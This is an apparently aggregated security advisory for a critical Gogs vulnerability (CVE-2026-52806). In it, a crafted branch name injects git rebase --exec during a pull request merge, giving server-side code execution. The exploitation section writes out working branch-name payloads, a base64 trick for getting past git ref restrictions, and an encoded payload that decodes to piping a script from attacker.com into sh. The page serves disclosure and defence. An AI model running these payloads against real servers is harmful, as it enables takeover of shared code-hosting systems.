critical

CVE-2026-52806

Go · gogs.io/gogs

Summary

Gogs vulnerable to RCE via git rebase --exec argument injection in pull request merge

Severity
critical
CVSS
9.9
EPSS
7.9% (p94)
CWE
CWE-77
Also known as
GHSA-qf6p-p7ww-cwr9
Published
2026-06-23
Updated
2026-06-23

Advisory details

Gogs: RCE via git rebase --exec Argument Injection in PR Merge

Summary

Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the --exec flag into the git rebase command during the "Rebase before merging" merge operation.

Severity

Critical - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

Affected Versions

Impact

This is a privilege escalation from authenticated user to server-level code execution. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server:

The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the git user (UID 1000 by default).

The severity is heightened because:

Prerequisites

The attacker needs one of the following:

Note: "Rebase before merging" is NOT enabled by default (PullsAllowRebase defaults to false in internal/database/repo.go:215). However:

Root Cause Analysis

In internal/database/pull.go, the Merge() function passes the PR's base branch name to git rebase as a positional argument without a -- separator:

if _, stderr, err = process.ExecDir(-1, tmpBasePath,
    fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath),
    "git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil {

The pr.BaseBranch value originates from the URL parameter in internal/route/repo/pull.go:

baseRef := infos[0]  // from strings.Split(c.Params("*"), "...")

Both baseRef and headRef are validated via RevParse (defined in the external git-module library), but this only calls git rev-parse --verify <ref> - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, RevParse succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the git rebase command without a -- separator.

Exploitation

Git branch names can legally contain characters $, {, }, =, -. The attacker creates a branch named:

--exec=touch${IFS}/tmp/rce_proof

When used as pr.BaseBranch in the rebase command:

git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'
  1. Git's argument parser treats --exec=touch${IFS}/tmp/rce_proof as the --exec flag
  2. The --exec flag specifies a command to run via sh -c after each replayed commit
  3. ${IFS} expands to a space in the shell, bypassing git's prohibition on spaces in branch names
  4. The command touch /tmp/rce_proof executes as the Gogs server process user

For commands containing characters forbidden in git refs (:, ~, ^, ?, *, [, \, //), such as URLs, the attacker base64-encodes the payload:

--exec=echo${IFS}<base64>|base64${IFS}-d|sh

For example, curl https://attacker.com/shell.sh|sh becomes:

--exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh

This was validated end-to-end: a wget command with a URL executed inside the Docker container and wrote the fetched HTML to disk.

Full Execution Flow in Merge()

The MergeStyleRebase code path in Merge() executes these git commands sequentially:

Step Command Result with malicious branch
1 git clone -b '<malicious>' <repo> <tmp> Succeeds - -b consumes --exec=... as the branch value
2 git remote add head_repo <repo> + git fetch head_repo Succeeds normally
3 git rebase --quiet '<malicious>' 'head_repo/feature' RCE fires here - --exec=<cmd> parsed as flag, command runs via sh -c
4 git checkout -b <tmpBranch> Succeeds (tmpBranch is a server-generated timestamp)
5 git checkout '<malicious>'

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.